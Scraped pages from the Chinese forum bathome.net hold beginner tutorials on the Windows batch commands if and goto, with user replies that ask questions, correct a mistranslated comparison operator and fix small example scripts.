楼主可不可以多发一点关于批处理的东东，比如：for、shift等等，最好弄个合集就跟好了。
回复 引用

评分 报告 TOP

xiangjally
  • 发短消息
  • 加为好友

xiangjally 当前离线

UID
7781
帖子
3
精华
0
积分
174
PB
174
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2008-12-19
最后登录
2008-12-27

二级士官

帖子
3
积分
174
技术
0
捐助
0
注册时间
2008-12-19
11楼
发表于 2008-12-19 19:18 | 只看该作者
支持楼主 无私奉献
回复 引用

评分 报告 TOP

liuyuanzai
  • 发短消息
  • 加为好友

liuyuanzai 当前离线

UID
7889
帖子
1
精华
0
积分
168
PB
168
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2008-12-22
最后登录
2013-1-21

二级士官

帖子
1
积分
168
技术
0
捐助
0
注册时间
2008-12-22
12楼
发表于 2008-12-23 14:04 | 只看该作者

支持楼主 无私奉

支持楼主 无私奉
献楼主可不可以多发一点关于批处理的东东，比如：for、shift等等，最好弄个合集就跟好了。
太谢谢了
回复 引用

评分 报告 TOP

junyi_de
  • 发短消息
  • 加为好友

junyi_de 当前离线

UID
7101
帖子
3
精华
0
积分
173
PB
173
技术
0
捐助
0
阅读权限
20
在线时间
5 小时
注册时间
2008-11-26
最后登录
2009-7-14

二级士官

帖子
3
积分
173
技术
0
捐助
0
注册时间
2008-11-26
13楼
发表于 2008-12-24 03:52 | 只看该作者
学习了，非常实用，谢谢楼主。
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前离线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5842 小时
注册时间
2008-6-9
最后登录
2018-6-2

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
14楼
发表于 2008-12-24 09:15 | 只看该作者

回复 12楼 的帖子

楼主的for教程已经写了一部分了，正在完善中。
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

wohe2008
  • 发短消息
  • 加为好友

wohe2008 当前离线

UID
7956
帖子
3
精华
0
积分
179
PB
179
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2008-12-24
最后登录
2009-4-18

二级士官

帖子
3
积分
179
技术
0
捐助
0
注册时间
2008-12-24
15楼
发表于 2008-12-24 14:10 | 只看该作者

非常感谢

楼主辛苦了，
回复 引用

评分 报告 TOP

1 2 3 4 5 6 7 8 9 10 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 20:52, Processed in 0.038267 second(s), 8 queries, Gzip enabled.


4、条件判断：if

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学]（4）条件判断：if
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 4 5 6 7 8 下一页
返回列表 回复 发帖
namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2008-11-14 20:07 | 只看该作者

[原创] [批处理命令一日一教学]（4）条件判断：if

[一日一教学]批处理系列帖子索引 http://www.bathome.net/thread-2576-1-1.html

标题：一日一教学系列4_条件判断：if
首发地址：http://bbs.bathome.net/thread-2530-1-1.html
发表日期：2008.11.14
更新日期：无

上一篇：内容重定向：>和>> http://bbs.bathome.net/thread-2516-1-1.html
下一篇：流程跳转：goto http://bbs.bathome.net/thread-2574-1-1.html

    if用于条件判断，适用于以下情形：

    1、判断驱动器、文件或文件夹是否存在，用 if exist 语句；
    2、判断某两个字符串是否相等，用 if "字符串1"=="字符串2" 语句；
    3、判断某两个数值是否相等，用 if 数值1 equ 数值2 语句；
    4、判断某个变量是否已经被赋值，用 if defined str 语句；

    if语句的完整格式是这样的：if 条件表达式 (语句1) else (语句2)，它的含义是：如果条件表达式成立，那么，就执行语句1，否则，将执行语句2。

    对于以上四种情形，可以分别使用如下代码：

    1、if exist d:\test.txt (echo D盘下有test.txt存在) else (echo D盘下不存在test.txt)
    2、if "abc"=="xyz" (echo 字符串abc等于字符串xyz) else (echo 字符串abc不等于字符串xyz)
    3、if 1 equ 2 (echo 1等于2) else (echo 1不等于2)
    4、if defined str (echo 变量str已经被赋值，其值为%str%) else (echo 变量str的值为空)

    判断字符串是否相等的时候，if会区分大小写，比如，单纯的if语句会认为字符串abc和字符串Abc不相同，若不想区分大小写，则需要添加 /i 开关，使用 if /i "字符串1"=="字符串2" 的格式；另外，等于符号是连续的"=="而非单独的"="。

    判断两个数值之间的大小关系，除了等于用equ之外，还有其他的关系符号，所有适用于if语句的关系符号见下表：

中文含义 | 关系符 | 英文解释
等于 | equ | equal
大于 | gtr | greater than
大于或等于 | geq | greater than or equal
小于 | lss | less than
小于或不等于 | leq | less than or equal
不等于 | neq | no equal

    if语句还有一个精简格式：if 条件表达式 语句，它的含义是：如果条件表达式成立，将执行语句，否则，什么也不做。

多层 if 嵌套的语法举例：
  1. if exist a.txt (

  2.     if exist 1.txt (

  3.         echo 存在 a.txt 和 1.txt

  4.     ) else (

  5.         echo 存在 a.txt 但是不存在 1.txt

  6.     )

  7. ) else if exist b.txt (

  8.     echo 不存在 a.txt 但是存在 b.txt

  9. ) else (

  10.     echo 不存在 a.txt 和 b.txt

  11. )
复制代码
收藏 分享
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告

qingfengzhixia
  • 发短消息
  • 加为好友

qingfengzhixia 当前离线

UID
3966
帖子
13
精华
0
积分
206
PB
206
技术
0
捐助
0
阅读权限
20
在线时间
7 小时
注册时间
2008-8-20
最后登录
2011-9-6

三级士官

帖子
13
积分
206
技术
0
捐助
0
注册时间
2008-8-20
2楼
发表于 2008-11-14 20:59 | 只看该作者
建议楼主在文章的两头添加[code][/code]
回复 引用

评分 报告 TOP

lixiaodaoaaa
  • 发短消息
  • 加为好友

lixiaodaoaaa 当前离线

UID
467
帖子
295
精华
0
积分
1142
PB
1136
技术
2
捐助
0
阅读权限
50
在线时间
266 小时
注册时间
2008-2-4
最后登录
2012-8-21

上尉

帖子
295
积分
1142
技术
2
捐助
0
注册时间
2008-2-4
3楼
发表于 2008-11-14 21:27 | 只看该作者

写个例子，便于大家理解

  1. @echo off

  2. @mode con cols=40 lines=17

  3. if exist c:\1.txt start cmd.exe&&echo 存在1.txt

  4. echo.&echo.&echo.&echo.

  5. pause
复制代码
我的百度空间欢迎你
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前离线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5842 小时
注册时间
2008-6-9
最后登录
2018-6-2

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
4楼
发表于 2008-11-14 23:41 | 只看该作者

回复 2楼 的帖子

加上code以后，虽然便于大家复制，但是不利于排版。
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

yslyxqysl
  • 发短消息
  • 加为好友

yslyxqysl 当前离线

UID
4205
帖子
342
精华
0
积分
3933
PB
3909
技术
8
捐助
0
阅读权限
254
来自
广西桂林
在线时间
745 小时
注册时间
2008-8-27
最后登录
2016-5-28

荣誉版主

帖子
342
积分
3933
技术
8
捐助
0
注册时间
2008-8-27
5楼
发表于 2008-11-15 11:04 | 只看该作者
判断某两个数值是否相等，用 if 数值1 equ 数值2 语句；

注意进制。
  1. if 017 equ 15 echo YES

  2. if 0x34 equ 52 echo YES

  3. if 045 equ 0x25 echo YES

  4. pause>nul
复制代码
论坛标题管理观察员
回复 引用

评分 报告 TOP

kennybao
  • 发短消息
  • 加为好友

kennybao 当前离线

UID
6398
帖子
12
精华
0
积分
190
PB
190
技术
0
捐助
0
阅读权限
20
在线时间
18 小时
注册时间
2008-11-6
最后登录
2008-12-24

二级士官

帖子
12
积分
190
技术
0
捐助
0
注册时间
2008-11-6
6楼
发表于 2008-11-15 12:36 | 只看该作者
1. else 好像必须和if写在同一行，不然报错，因为CMD把else当作一条命令了。
2. else 后面的代码和（ ）括号好像都得单独一行
不知道说得对不对。
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前离线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5842 小时
注册时间
2008-6-9
最后登录
2018-6-2

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
7楼
发表于 2008-11-16 12:34 | 只看该作者

回复 6楼 的帖子

  1. @echo off

  2. if exist C:\Batcher.txt (

  3.   echo 哈哈

  4. ) else (

  5.   echo 嘿嘿

  6. )

  7. pause
复制代码
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

nanyi
  • 发短消息
  • 加为好友

nanyi 当前离线

UID
7833
帖子
3
精华
0
积分
185
PB
185
技术
0
捐助
0
阅读权限
20
在线时间
6 小时
注册时间
2008-12-21
最后登录
2017-12-4

二级士官

帖子
3
积分
185
技术
0
捐助
0
注册时间
2008-12-21
8楼
发表于 2008-12-22 12:31 | 只看该作者
那个leq的中文含义应该是“小于或等于”吧，LZ貌似写错了。
回复 引用

评分 报告 TOP

zjw767676
  • 发短消息
  • 加为好友

zjw767676 (心境自然)当前离线

UID
7859
帖子
274
精华
0
积分
3596
PB
3596
技术
0
捐助
0
阅读权限
80
来自
江苏常州
在线时间
458 小时
注册时间
2008-12-21
最后登录
2016-3-1

上校

帖子
274
积分
3596
技术
0
捐助
0
注册时间
2008-12-21
9楼
发表于 2008-12-22 21:27 | 只看该作者
原帖由 nanyi 于 2008-12-22 12:31 发表
那个leq的中文含义应该是“小于或等于”吧，LZ貌似写错了。

确实是小于或等于
回复 引用

评分 报告 TOP

xiong8707
  • 发短消息
  • 加为好友

xiong8707 当前离线

UID
7971
帖子
18
精华
0
积分
230
PB
230
技术
0
捐助
0
阅读权限
20
在线时间
10 小时
注册时间
2008-12-24
最后登录
2009-1-2

三级士官

帖子
18
积分
230
技术
0
捐助
0
注册时间
2008-12-24
10楼
发表于 2008-12-25 20:34 | 只看该作者

没看懂 能教一下吗？

比如 我需要判断输入0 1 2 等数值 来决定执行什么命令
那我该怎么写？
回复 引用

评分 报告 TOP

xiong8707
  • 发短消息
  • 加为好友

xiong8707 当前离线

UID
7971
帖子
18
精华
0
积分
230
PB
230
技术
0
捐助
0
阅读权限
20
在线时间
10 小时
注册时间
2008-12-24
最后登录
2009-1-2

三级士官

帖子
18
积分
230
技术
0
捐助
0
注册时间
2008-12-24
11楼
发表于 2008-12-25 20:45 | 只看该作者

大家别见笑哈，帮我该一下使得此批处理能成功执行

  1. @echo off

  2. set /p s=请输入1 或 2

  3. echo %s%

  4. if "s"=="1" goto a

  5. if "s"=="2" goto b

  6. :a

  7. echo 你输入的是1

  8. pause

  9. exit

  10.

  11. :b

  12. echo 你输入的是2

  13. pause

  14. exit
复制代码
回复 引用

评分 报告 TOP

zhaoyajin2000
  • 发短消息
  • 加为好友

zhaoyajin2000 当前离线

UID
8067
帖子
13
精华
0
积分
182
PB
182
技术
0
捐助
0
阅读权限
20
在线时间
10 小时
注册时间
2008-12-27
最后登录
2011-6-22

二级士官

帖子
13
积分
182
技术
0
捐助
0
注册时间
2008-12-27
12楼
发表于 2008-12-27 10:54 | 只看该作者
你的代码可以执行啊 ？ 有什么问题吗？
回复 引用

评分 报告 TOP

xujin1402008
  • 发短消息
  • 加为好友

xujin1402008 当前离线

UID
7973
帖子
9
精华
0
积分
184
PB
184
技术
0
捐助
0
阅读权限
20
在线时间
7 小时
注册时间
2008-12-24
最后登录
2009-1-2

二级士官

帖子
9
积分
184
技术
0
捐助
0
注册时间
2008-12-24
13楼
发表于 2008-12-28 02:01 | 只看该作者
原帖由 xiong8707 于 2008-12-25 20:45 发表
@echo off
set /p s=请输入1 或 2&nbsp; &nbsp;
echo %s%
if "s"=="1" goto a
if "s"=="2" goto b
:a
echo 你输入的是1
pause
exit

:b
echo 你输入的是2
pause
exit
  1. @echo off

  2. set /p s=请输入1 或 2

  3. echo %s%

  4. if %s% equ 1 goto a

  5. if %s% equ 2 goto b

  6. :a

  7. echo 你输入的是1

  8. pause

  9. exit

  10.

  11. :b

  12. echo 你输入的是2

  13. pause

  14. exit
复制代码
回复 引用

评分 报告 TOP

nanoking
  • 发短消息
  • 加为好友

nanoking 当前离线

UID
8374
帖子
5
精华
0
积分
176
PB
176
技术
0
捐助
0
阅读权限
20
在线时间
5 小时
注册时间
2009-1-5
最后登录
2009-1-21

二级士官

帖子
5
积分
176
技术
0
捐助
0
注册时间
2009-1-5
14楼
发表于 2009-1-5 03:18 | 只看该作者
我也来一个，哈哈…………

  1. @echo off

  2. set mode con lines=30

  3. :0

  4. cls

  5. echo.#######################################

  6. echo.投票：

  7. echo. 1、楼主的贴子写得好；

  8. echo. 2、楼主的贴子写得一般般；

  9. echo. 3、楼主的贴子写得不啥的。

  10. echo.#######################################

  11. echo.

  12. set no=:

  13. set /p no= 请选择：

  14. set "no=%no:"=%"

  15. if "%no%"==":" goto 0

  16. if "%no%"=="1" goto 1

  17. if "%no%"=="2" goto 2

  18. if "%no%"=="3" goto 3

  19. if "%no%"=="0" goto 0

  20. goto 0

  21.

  22. :1

  23. cls

  24. echo.哈哈，你太英名了！！！

  25. pause>nul

  26. goto 0

  27.

  28. :2

  29. cls

  30. echo.哟，你太客气了！！！

  31. pause>nul

  32. goto 0

  33.

  34. :3

  35. cls

  36. echo.你眼神不好！！！要不你来写一个更好的！

  37. pause:nul

  38. goto exit

  39.

  40. :exit

  41. exit
复制代码
回复 引用

评分 报告 TOP

whedu
  • 发短消息
  • 加为好友

whedu 当前离线

UID
9742
帖子
22
精华
0
积分
213
PB
213
技术
0
捐助
0
阅读权限
20
在线时间
11 小时
注册时间
2009-2-23
最后登录
2009-4-3

三级士官

帖子
22
积分
213
技术
0
捐助
0
注册时间
2009-2-23
15楼
发表于 2009-2-24 09:22 | 只看该作者
都是高手,看着挺费劲!
活到老，学到老；终身学习！！
回复 引用

评分 报告 TOP

1 2 3 4 5 6 7 8 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 20:54, Processed in 0.049706 second(s), 7 queries, Gzip enabled.


5、流程跳转：goto

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学]（5）流程跳转：goto
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 4 下一页
返回列表 回复 发帖
namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2008-11-17 22:58 | 只看该作者

[原创] [批处理命令一日一教学]（5）流程跳转：goto

[一日一教学]批处理系列帖子索引 http://www.bathome.net/thread-2576-1-1.html

标题：一日一教学系列5_流程跳转：goto
首发地址：http://bbs.bathome.net/topicadmin.php?tid=2574
首发日期：2008.11.17
更新日期：无

上一篇：内容重定向：>和>> http://bbs.bathome.net/viewthread.php?tid=2516
下一篇：文件复制：copy http://bbs.bathome.net/viewthread.php?tid=2863

    一般的批处理命令，都是按照自上而下的流程逐行执行的，也就是说，只有第一行的命令执行了之后，才可能执行第二行，第二行执行完之后，再执行第三行……如此依次执行。
    如果对不同的情况，需要执行不同的既定操作，若还是按照常规的执行流程的话，是无法完成任务的，这个时候，就需要引入流程跳转的概念，动用流程跳转语句 goto 了。流程跳转的含义是：改变默认的执行顺序，强制跳转到指定的位置执行特定的程序块。
    先来看个例子：假设需要判断用户输入的是A还是B，代码可以写成这样：
  1.

  2. @echo off

  3. set /p input=请输入字母A或B：

  4. if "%input%"=="A" goto A

  5. if "%input%"=="B" goto B

  6. pause

  7. exit

  8.

  9. :A

  10. echo 您输入的字母是A

  11. pause

  12. exit

  13.

  14. :B

  15. echo 您输入的字母是B

  16. pause

  17. exit
复制代码
    按照一般的执行流程，所有的代码都会自上而下逐行执行一次，结果将显示"您输入的字母是A"和"您输入的字母是B"这两行内容，很显然，这是达不到我们的要求的；但是，实际的结果是：如果您输入的字母非A即B，则结果只会显示"您输入的字母是A"或者"您输入的字母是B"；也就是说，代码的执行顺序发生了改变，不再一成不变地自上而下逐行执行了：当输入字母A后，将执行第一条if语句，此条语句执行后，将跳转到标签段:A，从而绕过了第一条if语句和:A之间的所有代码行；当输入字母B后，将执行头两条if语句，当执行完第二条if语句后，将跳转到标签段:B，从而绕过了第二条if语句和:B之间的所有代码行。

    从上面的例子可以看到，要让goto语句起作用，还需要:A或:B之类的标签段的配合。所谓的标签段，就是这样的一些代码块：在首行上以单个冒号打头，其后紧跟一串字符，第二行及其之后的所有行为代码语句行。在这里，第一行的冒号是标签标志，紧跟它之后的字符串是标签名，两者合称标签。goto语句后面的部分为标签名，指引着该语句执行完之后该跳到转何方，标签则接收goto语句的跳转指令，引导着goto语句的后续操作。goto语句和标签互相呼应，在实现流程跳转时相辅相成，缺一不可。

    下面说一下使用跳转语句goto的注意事项：

    1、goto语句和标签要互相呼应，不能只有goto语句而没有相应的标签段，否则，程序将找不到相应的标签段而直接退出；只有标签段而没有goto语句是允许的，但不能实现流程跳转功能，从代码精简的角度来看，有标签段而没有goto语句，则此标签是多余的，可以精简掉；
    2、若有多个标签段，则需要注意标签段之间是否需要添加合适的退出语句来终止程序继续向下执行，这是很多新手很容易犯错的地方，需要谨慎。以上面这段代码为例，如果去掉:A和:B之间的exit语句，那么，当输入字母A之后，结果将同时显示"您输入的字母是A"和"您输入的字母是B"这两行内容，而保留exit语句将只会在显示"您输入的字母是A"后，按任意键推出批处理程序，因为批处理是自上而下逐行执行的，即使用goto语句跳转之后，在新的位置上，这一执行流程仍然会保持，直到碰上另一个流程跳转语句，执行过程并不会在两个标签段之间自动终止。
    3、标签名只可以使用常量，而不能使用变量；
    4、若有同名的标签段，将执行位于最顶层的标签段，其后的标签段是否得到执行，将视具体的情况加以处理。
5

评分人数

    • 白鹤隐云: 感谢分享技术 + 1
    • opq: 好技术 + 1
    • qiaosha: ok技术 + 1
    • dbsjhy: 给力~技术 + 1
    • zyc_213: 好技术 + 1
收藏 分享
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告

jellyhk
  • 发短消息
  • 加为好友

jellyhk 当前离线

UID
3387
帖子
356
精华
0
积分
2174
PB
2159
技术
5
捐助
0
阅读权限
60
在线时间
80 小时
注册时间
2008-8-4
最后登录
2012-5-26

少校

帖子
356
积分
2174
技术
5
捐助
0
注册时间
2008-8-4
2楼
发表于 2008-11-18 07:56 | 只看该作者
以前我经常有这种错误
本人已死！不用联系！~
要联系下来联系！~~
回复 引用

评分 报告 TOP

sylovanas
  • 发短消息
  • 加为好友

sylovanas 当前离线

UID
6427
帖子
54
精华
0
积分
418
PB
415
技术
1
捐助
0
阅读权限
20
在线时间
89 小时
注册时间
2008-11-7
最后登录
2010-7-16

六级士官

帖子
54
积分
418
技术
1
捐助
0
注册时间
2008-11-7
3楼
发表于 2008-11-18 09:29 | 只看该作者
还有goto:eof
回复 引用

评分 报告 TOP

wnyw
  • 发短消息
  • 加为好友

wnyw 当前离线

UID
6737
帖子
5
精华
0
积分
174
PB
174
技术
0
捐助
0
阅读权限
20
在线时间
4 小时
注册时间
2008-11-16
最后登录
2016-8-29

二级士官

帖子
5
积分
174
技术
0
捐助
0
注册时间
2008-11-16
4楼
发表于 2008-12-1 15:29 | 只看该作者
谢谢楼主了,菜鸟学习了
回复 引用

评分 报告 TOP

lsp19880301
  • 发短消息
  • 加为好友

lsp19880301 当前离线

UID
7230
帖子
11
精华
0
积分
190
PB
190
技术
0
捐助
0
阅读权限
20
在线时间
16 小时
注册时间
2008-11-30
最后登录
2012-2-23

二级士官

帖子
11
积分
190
技术
0
捐助
0
注册时间
2008-11-30
5楼
发表于 2008-12-1 21:41 | 只看该作者
终于看到我有一个看得懂啦
回复 引用

评分 报告 TOP

firewolf85
  • 发短消息
  • 加为好友

firewolf85 当前离线

UID
7374
帖子
93
精华
0
积分
871
PB
871
技术
0
捐助
0
阅读权限
40
在线时间
27 小时
注册时间
2008-12-5
最后登录
2009-12-3

中尉

帖子
93
积分
871
技术
0
捐助
0
注册时间
2008-12-5
6楼
发表于 2008-12-6 22:35 | 只看该作者
请教goto:eof是什么意思
回复 引用

评分 报告 TOP

nanyi
  • 发短消息
  • 加为好友

nanyi 当前离线

UID
7833
帖子
3
精华
0
积分
185
PB
185
技术
0
捐助
0
阅读权限
20
在线时间
6 小时
注册时间
2008-12-21
最后登录
2017-12-4

二级士官

帖子
3
积分
185
技术
0
捐助
0
注册时间
2008-12-21
7楼
发表于 2008-12-21 16:28 | 只看该作者
又学了一招，谢谢啊。
回复 引用

评分 报告 TOP

cdddas
  • 发短消息
  • 加为好友

cdddas 当前离线

UID
7993
帖子
1
精华
0
积分
168
PB
168
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2008-12-25
最后登录
2008-12-25

二级士官

帖子
1
积分
168
技术
0
捐助
0
注册时间
2008-12-25
8楼
发表于 2008-12-25 16:04 | 只看该作者
慢慢来！我看了好多都不懂
回复 引用

评分 报告 TOP

xujin1402008
  • 发短消息
  • 加为好友

xujin1402008 当前离线

UID
7973
帖子
9
精华
0
积分
184
PB
184
技术
0
捐助
0
阅读权限
20
在线时间
7 小时
注册时间
2008-12-24
最后登录
2009-1-2

二级士官

帖子
9
积分
184
技术
0
捐助
0
注册时间
2008-12-24
9楼
发表于 2008-12-28 15:08 | 只看该作者
跳转很容易出错啊~~呵呵
回复 引用

评分 报告 TOP

ahongguo
  • 发短消息
  • 加为好友

ahongguo 当前离线

UID
7635
帖子
16
精华
0
积分
202
PB
202
技术
0
捐助
0
阅读权限
20
在线时间
25 小时
注册时间
2008-12-15
最后登录
2009-6-26

三级士官

帖子
16
积分
202
技术
0
捐助
0
注册时间
2008-12-15
10楼
发表于 2008-12-28 16:46 | 只看该作者
goto:eof是什么意思 我也不知道呢 ,但是经过看P 我猜想是承接以上那 goto为完成的命令

请高手指示一下
回复 引用

评分 报告 TOP

too_lazy
  • 发短消息
  • 加为好友

too_lazy 当前离线

UID
7454
帖子
40
精华
0
积分
251
PB
251
技术
0
捐助
0
阅读权限
20
在线时间
37 小时
注册时间
2008-12-8
最后登录
2010-10-26

四级士官

帖子
40
积分
251
技术
0
捐助
0
注册时间
2008-12-8
11楼
发表于 2008-12-28 17:22 | 只看该作者
好东西！！
学习学习！！！
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前离线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5842 小时
注册时间
2008-6-9
最后登录
2018-6-2

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
12楼
发表于 2008-12-28 19:56 | 只看该作者

回复 6楼 的帖子

eof 是 End Of File 的缩写
goto :eof 就是跳转到批处理文件结尾
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

p05401144
  • 发短消息
  • 加为好友

p05401144 当前离线

UID
8473
帖子
45
精华
0
积分
288
PB
288
技术
0
捐助
0
阅读权限
20
来自
湖北荆州
在线时间
28 小时
注册时间
2009-1-7
最后登录
2009-2-2

四级士官

帖子
45
积分
288
技术
0
捐助
0
注册时间
2009-1-7
13楼
发表于 2009-1-7 15:44 | 只看该作者
学无止境
谢谢楼主
回复 引用

评分 报告 TOP

takinganew12345
  • 发短消息
  • 加为好友

takinganew12345 当前离线

UID
8649
帖子
1
精华
0
积分
168
PB
168
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2009-1-12
最后登录
2009-1-12

二级士官

帖子
1
积分
168
技术
0
捐助
0
注册时间
2009-1-12
14楼
发表于 2009-1-12 12:51 | 只看该作者
谢谢楼主了 不过那个GOTO EOF怎么用的阿 能不能举个例子看看。
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前离线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5842 小时
注册时间
2008-6-9
最后登录
2018-6-2

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
15楼
发表于 2009-1-12 13:37 | 只看该作者

回复 14楼 的帖子

把顶楼代码中的exit改成goto :eof试试
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

1 2 3 4 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 20:55, Processed in 0.045044 second(s), 8 queries, Gzip enabled.


6、复制文件：copy

